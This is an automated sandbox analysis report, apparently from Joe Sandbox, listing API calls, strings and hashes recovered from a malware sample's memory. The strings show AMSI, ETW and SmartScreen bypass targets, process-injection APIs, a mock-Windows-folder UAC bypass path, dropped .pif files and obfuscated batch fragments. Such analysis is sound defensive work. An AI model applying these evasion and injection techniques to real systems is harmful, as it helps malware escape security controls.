Part of subcall function 02C37FD0: CreateDirectoryA.KERNEL32(00000000,00000000,?,02C52BE7,OpenSession,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,Initialize,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8), ref: 02C37FDD

Part of subcall function 02C4DACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DB9E), ref: 02C4DB0B
Part of subcall function 02C4DACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C4DB45
Part of subcall function 02C4DACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02C4DB72
Part of subcall function 02C4DACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02C4DB7B

Part of subcall function 02C487A0: LoadLibraryW.KERNEL32(bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,UacScan), ref: 02C487B4
Part of subcall function 02C487A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02C487CE
Part of subcall function 02C487A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize), ref: 02C4880A

Part of subcall function 02C4870C: LoadLibraryW.KERNEL32(amsi), ref: 02C48715
Part of subcall function 02C4870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02C48774

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,02C5B330), ref: 02C549B7

Part of subcall function 02C4DA44: RtlInitUnicodeString.NTDLL(?,?), ref: 02C4DA6C
Part of subcall function 02C4DA44: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DABE), ref: 02C4DA82
Part of subcall function 02C4DA44: NtDeleteFile.NTDLL(?), ref: 02C4DAA1

MoveFileA.KERNEL32(00000000,00000000), ref: 02C54BB7
MoveFileA.KERNEL32(00000000,00000000), ref: 02C54C0D

Strings

LdrGetProcedureAddress, xrefs: 02C5A7A7
NtCreateSection, xrefs: 02C5A675
WinHttp.WinHttpRequest.5.1, xrefs: 02C517E9
NtOpenFile, xrefs: 02C5A80D
NtOpenObjectAuditAlarm, xrefs: 02C58976
EnumServicesStatusExA, xrefs: 02C5A0FB
NtOpenSection, xrefs: 02C5A642
CreateProcessAsUserW, xrefs: 02C5A155, 02C5A173
GZmMS1j, xrefs: 02C4ECBC
IconIndex=, xrefs: 02C564FD
EnumServicesStatusA, xrefs: 02C5A0DD
ScanBuffer, xrefs: 02C4EE73, 02C4F1CB, 02C4F3F5, 02C4F95C, 02C4FA69, 02C4FB81, 02C4FF55, 02C500F3, 02C50299, 02C503B9, 02C5054E, 02C50646, 02C508AF, 02C50A55, 02C50BF1, 02C50D07, 02C50D95, 02C510A9, 02C5134A, 02C5145B, 02C515F8, 02C519A3, 02C51AAF, 02C51CCD, 02C51DEA, 02C52105, 02C521A6, 02C5231A, 02C524DA, 02C527FC, 02C52BF3, 02C52E92, 02C52F23, 02C532DD, 02C534BF, 02C53633, 02C537B6, 02C53832, 02C539E9, 02C53BF3, 02C53E51, 02C54083, 02C542C7, 02C5450F, 02C547C5, 02C5492B, 02C54AC0, 02C54DF8, 02C55132, 02C5544B, 02C557CB, 02C55B04, 02C55DB6, 02C55FBB, 02C56121, 02C56295, 02C56311, 02C56EB4, 02C56F45, 02C57375, 02C57508, 02C57664, 02C5775C, 02C57C79, 02C57F46, 02C580EC, 02C58279, 02C5840D, 02C5858C, 02C58803, 02C588FB, 02C58D17, 02C58FF0, 02C59164, 02C5939A, 02C5942C, 02C59764, 02C59B02, 02C5A031, 02C5A937
UacScan, xrefs: 02C4ED47, 02C4F586, 02C4F67E, 02C4FC4D, 02C50833, 02C50E11, 02C51773, 02C51E86, 02C53097, 02C53261, 02C533C2, 02C5353B, 02C536BE, 02C5388F, 02C5396D, 02C53AFB, 02C54007, 02C543C4, 02C545F9, 02C552D7, 02C55847, 02C55A0C, 02C55D3A, 02C55E47, 02C560A5, 02C5619D, 02C56D40, 02C570E2, 02C572F9, 02C5748C, 02C576E0, 02C57B6C, 02C57CF5, 02C57E4E, 02C57FF4, 02C58181, 02C58315, 02C58494, 02C5870B, 02C58B79, 02C58D93, 02C58F74, 02C590E8, 02C5931E, 02C5A18E
WintrustAddActionID, xrefs: 02C4F0E3
C:\\Windows \\SysWOW64\\, xrefs: 02C53ACE, 02C53EE2
NtSetSecurityObject, xrefs: 02C589C6
CreateProcessW, xrefs: 02C5A137
NtMapViewOfSection, xrefs: 02C5A6A8
DllRegisterServer, xrefs: 02C4F001, 02C4F54D
Advapi, xrefs: 02C5A0E2, 02C5A0F1, 02C5A100, 02C5A10F, 02C5A14B, 02C5A15A, 02C5A169
OpenSession, xrefs: 02C4ECE3, 02C4EED7, 02C4F7BF, 02C4F8E0, 02C4F9ED, 02C4FB05, 02C4FED9, 02C50077, 02C5021D, 02C5033D, 02C504D2, 02C505CA, 02C507B7, 02C5095D, 02C50C8B, 02C50EB9, 02C5102D, 02C51150, 02C512CE, 02C51674, 02C516F7, 02C5180F, 02C51927, 02C51A33, 02C51C51, 02C51D6E, 02C5200D, 02C52089, 02C5229E, 02C5243E, 02C52780, 02C5293B, 02C52B55, 02C52C6F, 02C52F9F, 02C5343E, 02C535B7, 02C5373A, 02C53B77, 02C53DD5, 02C53F0F, 02C5424B, 02C54493, 02C54675, 02C54749, 02C548AF, 02C54A44, 02C54D7C, 02C54F16, 02C550B6, 02C5525B, 02C553CF, 02C5561F, 02C556D3, 02C55990, 02C55A88, 02C55F3F, 02C56219, 02C5638D, 02C56523, 02C566D3, 02C56DBC, 02C56FC1, 02C571DA, 02C5727D, 02C57410, 02C577D8, 02C57A74, 02C57D71, 02C57ECA, 02C58070, 02C581FD, 02C58391, 02C58510, 02C58613, 02C58787, 02C58A05, 02C58BF5, 02C58EE6, 02C5906C, 02C592A2, 02C594A8, 02C5966C, 02C5995B, 02C59A0A, 02C59C4A, 02C59E41, 02C59F39, 02C5A3EB, 02C5A9B3
MiniDumpWriteDump, xrefs: 02C5899E
CryptSIPGetSignedDataMsg, xrefs: 02C4F2A7
Kernel32, xrefs: 02C5A12D, 02C5A13C, 02C5A178
UacUninitialize, xrefs: 02C52D1E, 02C5301B, 02C53113, 02C538F1, 02C53F8B
SLGatherMigrationBlob, xrefs: 02C5A543
VirtualAlloc, xrefs: 02C5A204
BCryptRegisterProvider, xrefs: 02C4F3BC
NtOpenProcess, xrefs: 02C589DA
psapi, xrefs: 02C5A11E
advapi32, xrefs: 02C5898F
endpointdlp, xrefs: 02C59B8F, 02C59BC2, 02C59BF5, 02C59C28
FindCertsByIssuer, xrefs: 02C4F116
GET, xrefs: 02C51902
ieproxy, xrefs: 02C4EFC1, 02C4EFE8, 02C4F018
RtlCreateQueryDebugBuffer, xrefs: 02C59E08
NtAccessCheck, xrefs: 02C5A741
NtGetWriteWatch, xrefs: 02C5A5A9
FlushInstructionCache, xrefs: 02C5A303
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02C4FE37
FX.c, xrefs: 02C546FB
EtwEventWriteEx, xrefs: 02C5A840
RtlQueryProcessDebugInformation, xrefs: 02C5A0CE
RetailTracerEnable, xrefs: 02C597DA
OpenProcess, xrefs: 02C5A29D
SLIsGenuineLocalEx, xrefs: 02C59600
ScanString, xrefs: 02C4EE0F, 02C4F03A, 02C4F14F, 02C4F2E0, 02C4F471, 02C4F6FA, 02C4F83B, 02C4FDC1, 02C509D9, 02C50B75, 02C50FB1, 02C511CC, 02C51248, 02C51565, 02C5188B, 02C51B54, 02C51F91, 02C523C2, 02C525D2, 02C52688, 02C529B7, 02C52AD9, 02C52D9A, 02C531E5, 02C53CDD, 02C54153, 02C54348, 02C54D00, 02C54E9A, 02C551DF, 02C555A3, 02C55C42, 02C56428, 02C5659F, 02C56657, 02C56CC4, 02C5715E, 02C575C5, 02C57BE8, 02C5868F, 02C58A81, 02C58E6A, 02C59226, 02C59524, 02C598DF, 02C59CC6, 02C59EBD, 02C5A467
C:\Windows\System32\, xrefs: 02C4F8B7, 02C570BB, 02C57E03
SLGetSLIDList, xrefs: 02C595CD
C:\Users\Public\alpha.pif, xrefs: 02C54B36
DlpGetArchiveFileTraceInfo, xrefs: 02C59BDE
dbgcore, xrefs: 02C589A3, 02C589B7
GetProcessMemoryInfo, xrefs: 02C59873
LdrLoadDll, xrefs: 02C5A774
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02C536A8
sppc, xrefs: 02C595B1, 02C595E4, 02C59617, 02C5964A, 02C5A55A, 02C5A58D
NtQuerySystemInformation, xrefs: 02C5A0A1
BCryptVerifySignature, xrefs: 02C4F356, 02C599D1
.url, xrefs: 02C554DB
CryptSIPGetInfo, xrefs: 02C4F241
EtwEventWrite, xrefs: 02C5A873
CreateProcessAsUserA, xrefs: 02C5A146
smartscreenps, xrefs: 02C4F4FE, 02C4F531, 02C4F564
DllGetClassObject, xrefs: 02C4EFB0, 02C4F4E7, 02C59840, 02C5A510
[InternetShortcut], xrefs: 02C56498
VirtualAllocEx, xrefs: 02C5A237
RtlAllocateHeap, xrefs: 02C59D6F, 02C59DD5
MiniDumpReadDumpStream, xrefs: 02C589B2
NtDeviceIoControlFile, xrefs: 02C5A0B0
NtQuerySecurityObject, xrefs: 02C5A70E
sppwmi, xrefs: 02C5A527
NEO.c, xrefs: 02C54445
C:\\Users\\Public\\Libraries\\, xrefs: 02C54B66, 02C54BBC, 02C558B7
NtWaitForSingleObject, xrefs: 02C59DA2
bcrypt, xrefs: 02C4F36D, 02C4F3A0, 02C4F3D3, 02C599E8
EnumServicesStatusW, xrefs: 02C5A0EC
mssip32, xrefs: 02C4F258, 02C4F28B, 02C4F2BE, 02C598BD
wintrust, xrefs: 02C4F0C7, 02C4F0FA, 02C4F12D
tquery, xrefs: 02C597F1
NtAlertResumeThread, xrefs: 02C59D3C
SLGetEncryptedPIDEx, xrefs: 02C5A576
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02C5484E
SetUnhandledExceptionFilter, xrefs: 02C5A336
SLLoadApplicationPolicies, xrefs: 02C59633
C:\Users\Public\aken.pif, xrefs: 02C54B51
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02C53361
BCryptQueryProviderRegistration, xrefs: 02C4F389
kernel32, xrefs: 02C5A21B, 02C5A24E, 02C5A281, 02C5A2B4, 02C5A2E7, 02C5A31A, 02C5A34D
SxTracerGetThreadContextDebug, xrefs: 02C5980D, 02C5A4DD
Ntdll, xrefs: 02C5A0A6, 02C5A0B5, 02C5A0C4, 02C5A0D3
sys.thgiseurt, xrefs: 02C53ECC
NtWriteVirtualMemory, xrefs: 02C5A7DA
EnumProcessModules, xrefs: 02C5A119
NtQueryInformationThread, xrefs: 02C5A60F
psapi, xrefs: 02C5988A
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 02C54598
SLGetGenuineInformation, xrefs: 02C5959A
CreateProcessWithLogonW, xrefs: 02C5A164
WriteVirtualMemory, xrefs: 02C5A2D0
http, xrefs: 02C515D5
Initialize, xrefs: 02C4EDAB, 02C4FCC9, 02C4FE5D, 02C4FFFB, 02C501A1, 02C50456, 02C50AF9, 02C50F35, 02C513DF, 02C514E9, 02C51BD0, 02C51F02, 02C52222, 02C52556, 02C52704, 02C52A5D, 02C52E16, 02C54FBE, 02C55353, 02C5574F, 02C55914, 02C55B80, 02C55CBE, 02C55EC3, 02C56E38, 02C57AF0, 02C58AFD, 02C596E8, 02C59A86, 02C59FB5, 02C5A36F, 02C5A8BB
EnumServicesStatusExW, xrefs: 02C5A10A
I_QueryTagInformation, xrefs: 02C5898A
NtQueryVirtualMemory, xrefs: 02C5A5DC
TrustOpenStores, xrefs: 02C4F0B0
NtQueryDirectoryFile, xrefs: 02C5A0BF
DlpCheckIsCloudSyncApp, xrefs: 02C59BAB
ntdll, xrefs: 02C5897B, 02C589CB, 02C589DF, 02C59D53, 02C59D86, 02C59DB9, 02C59DEC, 02C59E1F, 02C5A5C0, 02C5A5F3, 02C5A626, 02C5A659, 02C5A68C, 02C5A6BF, 02C5A6F2, 02C5A725, 02C5A758, 02C5A78B, 02C5A7BE, 02C5A7F1, 02C5A824, 02C5A857, 02C5A88A
VirtualProtect, xrefs: 02C5A26A
spp, xrefs: 02C59824, 02C59857, 02C5A4F4
GetProxyDllInfo, xrefs: 02C4EFD7
HotKey=, xrefs: 02C56631
CryptSIPVerifyIndirectData, xrefs: 02C4F274, 02C598A6
UacInitialize, xrefs: 02C4EF3B, 02C4F602, 02C4FD45, 02C53D59, 02C541CF, 02C549C8, 02C54C84, 02C5503A, 02C55527, 02C5703D, 02C5887F, 02C58C9B
NtReadVirtualMemory, xrefs: 02C5A6DB
CreateProcessA, xrefs: 02C5A128
URL=file:", xrefs: 02C564A7
DlpNotifyPreDragDrop, xrefs: 02C59B78
C:\Users\Public\, xrefs: 02C53183, 02C554D0, 02C56743
DllGetActivationFactory, xrefs: 02C4F51A
DlpGetWebSiteAccess, xrefs: 02C59C11
lld.SLITUTEN, xrefs: 02C53AB8

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: File$Library$AddressFreeLoadModuleProc$AttributesCloseCreateHandleMove$CheckDebuggerDeleteDirectoryInetInformationInitNameOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 3130226682-181751239
Opcode ID: 584fcee3f222ca36a9c1eeac2af0b8caf54f5117037de40186bf3c5d17542706
Instruction ID: c8a2980aadec35de7d744c67192e14147b4f3356bf781e7e0f45c486820de084
Opcode Fuzzy Hash: 584fcee3f222ca36a9c1eeac2af0b8caf54f5117037de40186bf3c5d17542706
Instruction Fuzzy Hash: 30243275A501688FDB2AEB64DC80ADE73BAFF85300F1045E2E409A7354DA31EE81EF55

Function 02C57878 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C48824: LoadLibraryA.KERNEL32(00000000,00000000,02C4890B), ref: 02C48858
Part of subcall function 02C48824: FreeLibrary.KERNEL32(74F60000,00000000,02C91388,Function_000065D8,00000004,02C91398,02C91388,05F5E0FF,00000040,02C9139C,74F60000,00000000,00000000,00000000,00000000,02C4890B), ref: 02C488EB

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D857DC,02D85820,OpenSession,02C9137C,02C5AFD8,UacScan,02C9137C), ref: 02C57E39
ResumeThread.KERNEL32(00000000,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,UacScan,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8), ref: 02C58483
CloseHandle.KERNEL32(00000000,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,UacScan,02C9137C,02C5AFD8,00000000,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C), ref: 02C58602

Part of subcall function 02C487A0: LoadLibraryW.KERNEL32(bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize,02C913A4,02C4A77C,UacScan), ref: 02C487B4
Part of subcall function 02C487A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02C487CE
Part of subcall function 02C487A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000884,00000000,02C913A4,02C4A3C7,ScanString,02C913A4,02C4A77C,ScanBuffer,02C913A4,02C4A77C,Initialize), ref: 02C4880A

CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02C9137C,02C5AFD8,UacInitialize,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,UacScan,02C9137C), ref: 02C589F4

Part of subcall function 02C37E18: GetFileAttributesA.KERNEL32(00000000,?,02C4F8CC,ScanString,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,UacScan,02C9137C,02C5AFD8,UacInitialize), ref: 02C37E23

Part of subcall function 02C4DACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DB9E), ref: 02C4DB0B
Part of subcall function 02C4DACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C4DB45
Part of subcall function 02C4DACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02C4DB72
Part of subcall function 02C4DACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02C4DB7B

Part of subcall function 02C4818C: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02C48216), ref: 02C481F8

ExitProcess.KERNEL32(00000000,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,Initialize,02C9137C,02C5AFD8,00000000,00000000,00000000,ScanString,02C9137C,02C5AFD8), ref: 02C5AA25

Strings

LdrGetProcedureAddress, xrefs: 02C5A7A7
NtCreateSection, xrefs: 02C5A675
BCryptVerifySignature, xrefs: 02C599D1
NtOpenFile, xrefs: 02C5A80D
EnumServicesStatusExA, xrefs: 02C5A0FB
NtOpenObjectAuditAlarm, xrefs: 02C58976
NtOpenSection, xrefs: 02C5A642
EtwEventWrite, xrefs: 02C5A873
CreateProcessAsUserW, xrefs: 02C5A155, 02C5A173
CreateProcessAsUserA, xrefs: 02C5A146
DllGetClassObject, xrefs: 02C59840, 02C5A510
VirtualAllocEx, xrefs: 02C5A237
EnumServicesStatusA, xrefs: 02C5A0DD
RtlAllocateHeap, xrefs: 02C59D6F, 02C59DD5
ScanBuffer, xrefs: 02C57C79, 02C57F46, 02C580EC, 02C58279, 02C5840D, 02C5858C, 02C58803, 02C588FB, 02C58D17, 02C58FF0, 02C59164, 02C5939A, 02C5942C, 02C59764, 02C59B02, 02C5A031, 02C5A937
UacScan, xrefs: 02C57B6C, 02C57CF5, 02C57E4E, 02C57FF4, 02C58181, 02C58315, 02C58494, 02C5870B, 02C58B79, 02C58D93, 02C58F74, 02C590E8, 02C5931E, 02C5A18E
MiniDumpReadDumpStream, xrefs: 02C589B2
NtQuerySecurityObject, xrefs: 02C5A70E
NtDeviceIoControlFile, xrefs: 02C5A0B0
NtSetSecurityObject, xrefs: 02C589C6
CreateProcessW, xrefs: 02C5A137
NtMapViewOfSection, xrefs: 02C5A6A8
sppwmi, xrefs: 02C5A527
Advapi, xrefs: 02C5A0E2, 02C5A0F1, 02C5A100, 02C5A10F, 02C5A14B, 02C5A15A, 02C5A169
OpenSession, xrefs: 02C57884, 02C579F8, 02C57A74, 02C57D71, 02C57ECA, 02C58070, 02C581FD, 02C58391, 02C58510, 02C58613, 02C58787, 02C58A05, 02C58BF5, 02C58EE6, 02C5906C, 02C592A2, 02C594A8, 02C5966C, 02C5995B, 02C59A0A, 02C59C4A, 02C59E41, 02C59F39, 02C5A3EB, 02C5A9B3
MiniDumpWriteDump, xrefs: 02C5899E
Kernel32, xrefs: 02C5A12D, 02C5A13C, 02C5A178
NtWaitForSingleObject, xrefs: 02C59DA2
bcrypt, xrefs: 02C599E8
SLGatherMigrationBlob, xrefs: 02C5A543
EnumServicesStatusW, xrefs: 02C5A0EC
mssip32, xrefs: 02C598BD
VirtualAlloc, xrefs: 02C5A204
tquery, xrefs: 02C597F1
NtOpenProcess, xrefs: 02C589DA
SLGetEncryptedPIDEx, xrefs: 02C5A576
psapi, xrefs: 02C5A11E
NtAlertResumeThread, xrefs: 02C59D3C
advapi32, xrefs: 02C5898F
SetUnhandledExceptionFilter, xrefs: 02C5A336
endpointdlp, xrefs: 02C59B8F, 02C59BC2, 02C59BF5, 02C59C28
SLLoadApplicationPolicies, xrefs: 02C59633
kernel32, xrefs: 02C5A21B, 02C5A24E, 02C5A281, 02C5A2B4, 02C5A2E7, 02C5A31A, 02C5A34D
RtlCreateQueryDebugBuffer, xrefs: 02C59E08
SxTracerGetThreadContextDebug, xrefs: 02C5980D, 02C5A4DD
Ntdll, xrefs: 02C5A0A6, 02C5A0B5, 02C5A0C4, 02C5A0D3
NtWriteVirtualMemory, xrefs: 02C5A7DA
NtAccessCheck, xrefs: 02C5A741
EnumProcessModules, xrefs: 02C5A119
NtQueryInformationThread, xrefs: 02C5A60F
psapi, xrefs: 02C5988A
NtGetWriteWatch, xrefs: 02C5A5A9
FlushInstructionCache, xrefs: 02C5A303
CreateProcessWithLogonW, xrefs: 02C5A164
SLGetGenuineInformation, xrefs: 02C5959A
EtwEventWriteEx, xrefs: 02C5A840
WriteVirtualMemory, xrefs: 02C5A2D0
RtlQueryProcessDebugInformation, xrefs: 02C5A0CE
OpenProcess, xrefs: 02C5A29D
RetailTracerEnable, xrefs: 02C597DA
SLIsGenuineLocalEx, xrefs: 02C59600
ScanString, xrefs: 02C5797C, 02C57BE8, 02C5868F, 02C58A81, 02C58E6A, 02C59226, 02C59524, 02C598DF, 02C59CC6, 02C59EBD, 02C5A467
EnumServicesStatusExW, xrefs: 02C5A10A
Initialize, xrefs: 02C57900, 02C57AF0, 02C58AFD, 02C596E8, 02C59A86, 02C59FB5, 02C5A36F, 02C5A8BB
C:\Windows\System32\, xrefs: 02C57E03
SLGetSLIDList, xrefs: 02C595CD
NtQueryVirtualMemory, xrefs: 02C5A5DC
I_QueryTagInformation, xrefs: 02C5898A
DlpGetArchiveFileTraceInfo, xrefs: 02C59BDE
NtQueryDirectoryFile, xrefs: 02C5A0BF
DlpCheckIsCloudSyncApp, xrefs: 02C59BAB
VirtualProtect, xrefs: 02C5A26A
ntdll, xrefs: 02C5897B, 02C589CB, 02C589DF, 02C59D53, 02C59D86, 02C59DB9, 02C59DEC, 02C59E1F, 02C5A5C0, 02C5A5F3, 02C5A626, 02C5A659, 02C5A68C, 02C5A6BF, 02C5A6F2, 02C5A725, 02C5A758, 02C5A78B, 02C5A7BE, 02C5A7F1, 02C5A824, 02C5A857, 02C5A88A
dbgcore, xrefs: 02C589A3, 02C589B7
spp, xrefs: 02C59824, 02C59857, 02C5A4F4
CryptSIPVerifyIndirectData, xrefs: 02C598A6
UacInitialize, xrefs: 02C5887F, 02C58C9B
NtReadVirtualMemory, xrefs: 02C5A6DB
CreateProcessA, xrefs: 02C5A128
GetProcessMemoryInfo, xrefs: 02C59873
DlpNotifyPreDragDrop, xrefs: 02C59B78
LdrLoadDll, xrefs: 02C5A774
sppc, xrefs: 02C595B1, 02C595E4, 02C59617, 02C5964A, 02C5A55A, 02C5A58D
DlpGetWebSiteAccess, xrefs: 02C59C11
NtQuerySystemInformation, xrefs: 02C5A0A1

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Library$CloseFile$CreateFreeHandleLoadProcess$AddressAttributesCacheExitFlushInstructionProcResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 1548959583-1225450241
